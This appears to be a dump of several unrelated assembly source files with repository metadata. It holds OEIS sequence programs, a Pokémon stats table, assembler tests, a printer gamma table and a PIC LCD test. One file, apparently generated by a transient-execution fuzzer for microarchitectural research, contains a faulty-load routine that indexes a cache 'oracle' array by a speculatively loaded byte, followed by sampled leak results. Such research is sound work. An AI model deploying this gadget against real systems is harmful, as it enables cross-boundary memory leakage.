; 2,3,5,3,11,5,17,3,5,11,31,5,41,17,11,3,59,5,67,11,17,31,83,5,11,41,5,17,109,11,127,3,31,59,17,5,157,67,41,11,179,17,191,31,11,83,211,5,17,11,59,41,241,5,31,17,67,109,277,11,283,127,17,3,41,31,331,59,83,17,353,5,367,157,11,67,31,41,401,11,5,179,431,17,59,191,109,31,461,11,41,83,127,211,67,5,509,17,31,11
seq $0,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
sub $0,1
seq $0,40 ; The prime numbers.
| 72.857143
| 305
| 0.658824
|
57504fdda175a2e43b612f3e8ec440abadd0c280
| 937
|
asm
|
Assembly
|
data/pokemon/base_stats/teddiursa.asm
|
AtmaBuster/pokeplat-gen2
|
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
|
[
"blessing"
] | 6
|
2021-06-19T06:41:19.000Z
|
2022-02-15T17:12:33.000Z
|
data/pokemon/base_stats/teddiursa.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
data/pokemon/base_stats/teddiursa.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 2
|
2021-08-11T19:47:07.000Z
|
2022-01-01T07:07:56.000Z
|
db 0 ; species ID placeholder
db 60, 80, 50, 40, 50, 50
; hp atk def spd sat sdf
db NORMAL, NORMAL ; type
db 120 ; catch rate
db 124 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/teddiursa/front.dimensions"
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm FOCUS_PUNCH, ROAR, TOXIC, BULK_UP, HIDDEN_POWER, SUNNY_DAY, TAUNT, PROTECT, RAIN_DANCE, FRUSTRATION, EARTHQUAKE, RETURN, DIG, BRICK_BREAK, DOUBLE_TEAM, ROCK_TOMB, AERIAL_ACE, TORMENT, FACADE, SECRET_POWER, REST, ATTRACT, THIEF, FLING, ENDURE, SHADOW_CLAW, PAYBACK, SWORDS_DANCE, CAPTIVATE, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, CUT, STRENGTH, ROCK_SMASH, FIRE_PUNCH, FURY_CUTTER, GUNK_SHOT, ICE_PUNCH, LAST_RESORT, MUD_SLAP, ROLLOUT, SEED_BOMB, SNORE, SUPERPOWER, SWIFT, THUNDERPUNCH
; end
| 46.85
| 511
| 0.751334
|
46507de2d2d29995d71c6e0b4f0a5511075d511b
| 985
|
asm
|
Assembly
|
assembler/tests/t_tmpsym/t_tmpsym.asm
|
paulscottrobson/RCA-Cosmac-VIP-III
|
5d3fcea325aacb7c99269f266bc14e30439cdc2b
|
[
"MIT"
] | 1
|
2022-01-17T16:06:15.000Z
|
2022-01-17T16:06:15.000Z
|
assembler/tests/t_tmpsym/t_tmpsym.asm
|
paulscottrobson/RCA-Cosmac-VIP-III
|
5d3fcea325aacb7c99269f266bc14e30439cdc2b
|
[
"MIT"
] | null | null | null |
assembler/tests/t_tmpsym/t_tmpsym.asm
|
paulscottrobson/RCA-Cosmac-VIP-III
|
5d3fcea325aacb7c99269f266bc14e30439cdc2b
|
[
"MIT"
] | null | null | null |
cpu 6502
;--------------------------------------------------------------------------
; tests of named temporary symbols
ldx #00
$$loop: dex
bne $$loop
ldx RealSymbol
cpx #00
beq skip
nop
skip:
ldx #00
$$loop: dex
bne $$loop
;--------------------------------------------------------------------------
; tests of nameless temporary symbols
- ldx #00
- dex
bne -
lda RealSymbol
beq +
jsr SomeRtn
iny
+ bne --
SomeRtn:
rts
RealSymbol:
dfs 1
inc ptr
bne + ;branch forward to tax
inc ptr+1 ;parsed as "not a temporary reference" ie. its a math operator
;or whatever (in the original Buddy assembler, ptr+1 would refer to the high
;byte of "ptr").
+ tax
bpl ++ ;branch forwared to dex
beq + ;branch forward to rts
lda #0
/ rts ; <====== slash used as wildcard.
+ dex
beq - ;branch backward to rts
ptr: dfs 2
| 18.240741
| 80
| 0.464975
|
749e273e592e22c8e0322bf24d9af407debec5f6
| 2,414
|
asm
|
Assembly
|
Driver/Printer/PrintCom/Color/Correct/correctGamma27.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Driver/Printer/PrintCom/Color/Correct/correctGamma27.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Driver/Printer/PrintCom/Color/Correct/correctGamma27.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: DotMatrix printers
FILE: correctGamma27.asm
AUTHOR: Jim DeFrisco, May 27, 1992
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 5/27/92 Initial revision
DESCRIPTION:
Gamma correction table for printing
$Id: correctGamma27.asm,v 1.1 97/04/18 11:51:33 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
gamma27 segment resource
; A Gamma-correction table for GAMMA = 2.70
byte 0x00, 0x21, 0x2a, 0x31, 0x37, 0x3b, 0x40, 0x43
byte 0x47, 0x4a, 0x4d, 0x50, 0x52, 0x55, 0x57, 0x59
byte 0x5b, 0x5e, 0x60, 0x61, 0x63, 0x65, 0x67, 0x69
byte 0x6a, 0x6c, 0x6d, 0x6f, 0x71, 0x72, 0x73, 0x75
byte 0x76, 0x78, 0x79, 0x7a, 0x7b, 0x7d, 0x7e, 0x7f
byte 0x80, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88
byte 0x89, 0x8a, 0x8b, 0x8c, 0x8e, 0x8f, 0x90, 0x90
byte 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98
byte 0x99, 0x9a, 0x9b, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f
byte 0xa0, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa4, 0xa5
byte 0xa6, 0xa7, 0xa8, 0xa8, 0xa9, 0xaa, 0xaa, 0xab
byte 0xac, 0xad, 0xad, 0xae, 0xaf, 0xb0, 0xb0, 0xb1
byte 0xb2, 0xb2, 0xb3, 0xb4, 0xb4, 0xb5, 0xb6, 0xb6
byte 0xb7, 0xb8, 0xb8, 0xb9, 0xba, 0xba, 0xbb, 0xbb
byte 0xbc, 0xbd, 0xbd, 0xbe, 0xbe, 0xbf, 0xc0, 0xc0
byte 0xc1, 0xc1, 0xc2, 0xc3, 0xc3, 0xc4, 0xc4, 0xc5
byte 0xc6, 0xc6, 0xc7, 0xc7, 0xc8, 0xc8, 0xc9, 0xc9
byte 0xca, 0xcb, 0xcb, 0xcc, 0xcc, 0xcd, 0xcd, 0xce
byte 0xce, 0xcf, 0xcf, 0xd0, 0xd0, 0xd1, 0xd2, 0xd2
byte 0xd3, 0xd3, 0xd4, 0xd4, 0xd5, 0xd5, 0xd6, 0xd6
byte 0xd7, 0xd7, 0xd8, 0xd8, 0xd9, 0xd9, 0xda, 0xda
byte 0xda, 0xdb, 0xdb, 0xdc, 0xdc, 0xdd, 0xdd, 0xde
byte 0xde, 0xdf, 0xdf, 0xe0, 0xe0, 0xe1, 0xe1, 0xe2
byte 0xe2, 0xe2, 0xe3, 0xe3, 0xe4, 0xe4, 0xe5, 0xe5
byte 0xe6, 0xe6, 0xe6, 0xe7, 0xe7, 0xe8, 0xe8, 0xe9
byte 0xe9, 0xe9, 0xea, 0xea, 0xeb, 0xeb, 0xec, 0xec
byte 0xec, 0xed, 0xed, 0xee, 0xee, 0xef, 0xef, 0xef
byte 0xf0, 0xf0, 0xf1, 0xf1, 0xf1, 0xf2, 0xf2, 0xf3
byte 0xf3, 0xf3, 0xf4, 0xf4, 0xf5, 0xf5, 0xf5, 0xf6
byte 0xf6, 0xf7, 0xf7, 0xf7, 0xf8, 0xf8, 0xf9, 0xf9
byte 0xf9, 0xfa, 0xfa, 0xfa, 0xfb, 0xfb, 0xfc, 0xfc
byte 0xfc, 0xfd, 0xfd, 0xfe, 0xfe, 0xfe, 0xff, 0xff
gamma27 ends
| 39.57377
| 79
| 0.616819
|
5b9c14201820306ac86a3d0dcf1584ce09596d01
| 1,768
|
asm
|
Assembly
|
programs/oeis/325/A325958.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/325/A325958.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/325/A325958.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A325958: Sum of corners of a 2n+1 X 2n+1 square spiral.
; 24,76,160,276,424,604,816,1060,1336,1644,1984,2356,2760,3196,3664,4164,4696,5260,5856,6484,7144,7836,8560,9316,10104,10924,11776,12660,13576,14524,15504,16516,17560,18636,19744,20884,22056,23260,24496,25764,27064,28396,29760,31156,32584,34044,35536,37060,38616,40204,41824,43476,45160,46876,48624,50404,52216,54060,55936,57844,59784,61756,63760,65796,67864,69964,72096,74260,76456,78684,80944,83236,85560,87916,90304,92724,95176,97660,100176,102724,105304,107916,110560,113236,115944,118684,121456,124260,127096,129964,132864,135796,138760,141756,144784,147844,150936,154060,157216,160404,163624,166876,170160,173476,176824,180204,183616,187060,190536,194044,197584,201156,204760,208396,212064,215764,219496,223260,227056,230884,234744,238636,242560,246516,250504,254524,258576,262660,266776,270924,275104,279316,283560,287836,292144,296484,300856,305260,309696,314164,318664,323196,327760,332356,336984,341644,346336,351060,355816,360604,365424,370276,375160,380076,385024,390004,395016,400060,405136,410244,415384,420556,425760,430996,436264,441564,446896,452260,457656,463084,468544,474036,479560,485116,490704,496324,501976,507660,513376,519124,524904,530716,536560,542436,548344,554284,560256,566260,572296,578364,584464,590596,596760,602956,609184,615444,621736,628060,634416,640804,647224,653676,660160,666676,673224,679804,686416,693060,699736,706444,713184,719956,726760,733596,740464,747364,754296,761260,768256,775284,782344,789436,796560,803716,810904,818124,825376,832660,839976,847324,854704,862116,869560,877036,884544,892084,899656,907260,914896,922564,930264,937996,945760,953556,961384,969244,977136,985060,993016,1001004
mov $1,8
mul $1,$0
add $1,18
mul $1,$0
div $1,2
mul $1,4
add $1,24
| 160.727273
| 1,641
| 0.830317
|
b14493f1ff47dacac019c3f53d16d993f407c421
| 536
|
asm
|
Assembly
|
programs/oeis/273/A273336.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/273/A273336.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/273/A273336.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A273336: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 657", based on the 5-celled von Neumann neighborhood.
; 1,5,22,70,150,270,438,662,950,1310,1750,2278,2902,3630,4470,5430,6518,7742,9110,10630,12310,14158,16182,18390,20790,23390,26198,29222,32470,35950,39670,43638,47862,52350,57110,62150,67478,73102,79030,85270,91830,98718
lpb $0
mov $4,$0
sub $0,1
add $3,$4
add $3,1
add $2,$3
lpe
mul $2,2
mov $1,$2
trn $1,11
add $2,1
add $1,$2
| 33.5
| 219
| 0.725746
|
298d12eb00d6a9e0df80f8d7900ab8211251c53a
| 100
|
asm
|
Assembly
|
src/util/sprite/f7.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/sprite/f7.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/sprite/f7.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
* Sprite f7
section sprite
xdef mes_f7
include 'dev8_keys_sysspr'
mes_f7
dc.b 0,sp.f7
*
end
| 8.333333
| 27
| 0.71
|
94688ffc2910e35c34a3a6b4fdcf2847adad7142
| 7,541
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48.log_21829_1485.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48.log_21829_1485.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48.log_21829_1485.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1007, %r8
nop
nop
nop
nop
and $17836, %r15
movw $0x6162, (%r8)
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0x1d53f, %r12
clflush (%r12)
nop
sub $25701, %r13
movb (%r12), %r15b
nop
nop
nop
xor $61609, %r15
lea addresses_UC_ht+0x1becf, %r15
nop
nop
nop
nop
nop
lfence
movw $0x6162, (%r15)
nop
nop
nop
nop
nop
and %r12, %r12
lea addresses_normal_ht+0x72ff, %rsi
lea addresses_WC_ht+0x769f, %rdi
clflush (%rsi)
nop
cmp %r12, %r12
mov $13, %rcx
rep movsl
nop
nop
nop
cmp $63305, %r12
lea addresses_A_ht+0x1e17f, %r8
nop
sub $34648, %rcx
vmovups (%r8), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rbp
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x16633, %rsi
lea addresses_D_ht+0x1d77f, %rdi
nop
nop
nop
mfence
mov $64, %rcx
rep movsb
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x11c7f, %r13
nop
xor $6456, %r11
movups (%r13), %xmm5
vpextrq $0, %xmm5, %rdi
add %rsi, %rsi
lea addresses_WT_ht+0x14b5, %r8
nop
nop
sub %rcx, %rcx
movw $0x6162, (%r8)
nop
nop
nop
xor $48579, %rcx
lea addresses_D_ht+0x1317b, %r13
nop
nop
nop
cmp %r12, %r12
movups (%r13), %xmm5
vpextrq $1, %xmm5, %rcx
nop
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_UC_ht+0x1470f, %r13
nop
nop
sub %r12, %r12
movb $0x61, (%r13)
nop
and %rcx, %rcx
lea addresses_UC_ht+0x115ff, %rsi
lea addresses_A_ht+0x8d1f, %rdi
nop
nop
nop
nop
xor $52689, %r15
mov $86, %rcx
rep movsl
cmp $54438, %r13
lea addresses_A_ht+0x17160, %r12
nop
nop
and %rdi, %rdi
mov $0x6162636465666768, %r8
movq %r8, %xmm4
movups %xmm4, (%r12)
nop
and %rsi, %rsi
lea addresses_A_ht+0xa97f, %r11
nop
nop
nop
nop
nop
xor %rbp, %rbp
movb $0x61, (%r11)
nop
nop
nop
nop
nop
cmp $19833, %r11
lea addresses_normal_ht+0x187df, %rbp
nop
nop
nop
nop
nop
and $53371, %r8
movb $0x61, (%rbp)
and $65083, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r9
push %rbp
// Faulty Load
lea addresses_WC+0x1797f, %r11
add %rbp, %rbp
vmovups (%r11), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r9
lea oracles, %r14
and $0xff, %r9
shlq $12, %r9
mov (%r14,%r9,1), %r9
pop %rbp
pop %r9
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': True, 'NT': False}}
{'08': 1310, '00': 16203, '72': 863, '45': 3452, '04': 1}
04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 45 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45
*/
| 34.43379
| 2,999
| 0.655218
|
5282f66349d2d83c1002045ea4a9d973e76595b6
| 1,679
|
asm
|
Assembly
|
src/firmware-tests/Platform/Lcd/States/EnableWaitForMoreThan40ms/TimeElapsedTest.asm
|
pete-restall/Cluck2Sesame-Prototype
|
99119b6748847a7b6aeadc4bee42cbed726f7fdc
|
[
"MIT"
] | 1
|
2019-12-12T09:07:08.000Z
|
2019-12-12T09:07:08.000Z
|
src/firmware-tests/Platform/Lcd/States/EnableWaitForMoreThan40ms/TimeElapsedTest.asm
|
pete-restall/Cluck2Sesame-Prototype
|
99119b6748847a7b6aeadc4bee42cbed726f7fdc
|
[
"MIT"
] | null | null | null |
src/firmware-tests/Platform/Lcd/States/EnableWaitForMoreThan40ms/TimeElapsedTest.asm
|
pete-restall/Cluck2Sesame-Prototype
|
99119b6748847a7b6aeadc4bee42cbed726f7fdc
|
[
"MIT"
] | null | null | null |
#include "Platform.inc"
#include "FarCalls.inc"
#include "Arithmetic32.inc"
#include "Lcd.inc"
#include "../../LcdStates.inc"
#include "../../PollAfterLcdMock.inc"
#include "TestFixture.inc"
radix decimal
NUMBER_OF_TICKS_FOR_40MS_PLUS_TEN_PERCENT equ 344
NUMBER_OF_TICKS equ NUMBER_OF_TICKS_FOR_40MS_PLUS_TEN_PERCENT + 1
udata
global timer0Seed
timer0Seed res 1
TimeElapsedTest code
global testArrange
testArrange:
fcall initialisePollAfterLcdMock
fcall initialiseLcd
seedTimer0:
banksel OPTION_REG
movlw 0xff
movwf OPTION_REG
banksel timer0Seed
movf timer0Seed, W
banksel TMR0
movwf TMR0
initialiseCounterToNumberOfTicks:
banksel RAA
clrf RAA
clrf RAB
movlw high(NUMBER_OF_TICKS)
movwf RAC
movlw low(NUMBER_OF_TICKS)
movwf RAD
initialiseDecrementForNegativeOne:
movlw 0xff
movwf RBA
movwf RBB
movwf RBC
movwf RBD
testAct:
setLcdState LCD_STATE_ENABLE_WAITFORMORETHAN40MS
fcall pollLcd
callPollLcd:
banksel calledPollAfterLcd
clrf calledPollAfterLcd
fcall pollLcd
banksel calledPollAfterLcd
.assert "calledPollAfterLcd != 0, 'Next poll in chain was not called.'"
.aliasForAssert lcdState, _a
.aliasLiteralForAssert LCD_STATE_ENABLE_TRYSETBYTEMODE1, _b
.assert "_a != _b, 'Expected state not to be LCD_STATE_ENABLE_TRYSETBYTEMODE1.'"
banksel TMR0
incf TMR0
fcall add32
btfss STATUS, Z
goto callPollLcd
fcall pollLcd
testAssert:
banksel calledPollAfterLcd
.assert "calledPollAfterLcd != 0, 'Next poll in chain was not called.'"
.aliasForAssert lcdState, _a
.aliasLiteralForAssert LCD_STATE_ENABLE_TRYSETBYTEMODE1, _b
.assert "_a == _b, 'Expected state to be LCD_STATE_ENABLE_TRYSETBYTEMODE1.'"
return
end
| 19.079545
| 81
| 0.797499
|
c8e231767f9dac30105416b2f4bf789f33c55729
| 719
|
asm
|
Assembly
|
oeis/277/A277454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/277/A277454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/277/A277454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A277454: a(n) = 1 + Sum_{k=1..n} binomial(n,k) * 2^k * k^k.
; Submitted by Jon Maiga
; 1,3,21,271,5065,122811,3651997,128566663,5227782161,241072839667,12430169195941,708612945554559,44253858433505497,3004570398043291819,220341964157226260525,17357760973540312138231,1461813975265547356467745,131061164660246579394042339,12463382854352450751972877621,1253006201356914372066131120623,132785832103141844990244351483881,14793984950362790611394983050507163,1728688258522574906504145629292814525,211399487499765414611659180066671994983,27001426623636807930744317895589612131889
mov $4,$0
lpb $0
mov $2,$0
pow $2,$0
mov $3,$4
bin $3,$0
sub $0,1
mul $3,$2
mul $5,2
add $5,$3
lpe
mov $0,$5
mul $0,2
add $0,1
| 37.842105
| 487
| 0.803894
|
416c4bbfb3af24b123542668604df237c06c88b3
| 684
|
asm
|
Assembly
|
programs/oeis/129/A129111.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/129/A129111.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/129/A129111.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A129111: Sums of three consecutive heptagonal numbers.
; 8,26,59,107,170,248,341,449,572,710,863,1031,1214,1412,1625,1853,2096,2354,2627,2915,3218,3536,3869,4217,4580,4958,5351,5759,6182,6620,7073,7541,8024,8522,9035,9563,10106,10664,11237,11825,12428,13046,13679,14327,14990,15668,16361,17069,17792,18530,19283,20051,20834,21632,22445,23273,24116,24974,25847,26735,27638,28556,29489,30437,31400,32378,33371,34379,35402,36440,37493,38561,39644,40742,41855,42983,44126,45284,46457,47645,48848,50066,51299,52547,53810,55088,56381,57689,59012,60350,61703,63071,64454,65852,67265,68693,70136,71594,73067,74555
mov $1,5
mul $1,$0
add $1,7
mul $1,$0
div $1,2
mul $1,3
add $1,8
mov $0,$1
| 57
| 550
| 0.782164
|
b171e253f558522b8c35ff64c53851ee0f5d1dde
| 153
|
asm
|
Assembly
|
lift/x86/testdata/x86_32/fpu/fldln2/fldln2.asm
|
decomp/experimental
|
6d058f5e1da6fc2d0765e348fb861803a319c9fb
|
[
"CC0-1.0"
] | 9
|
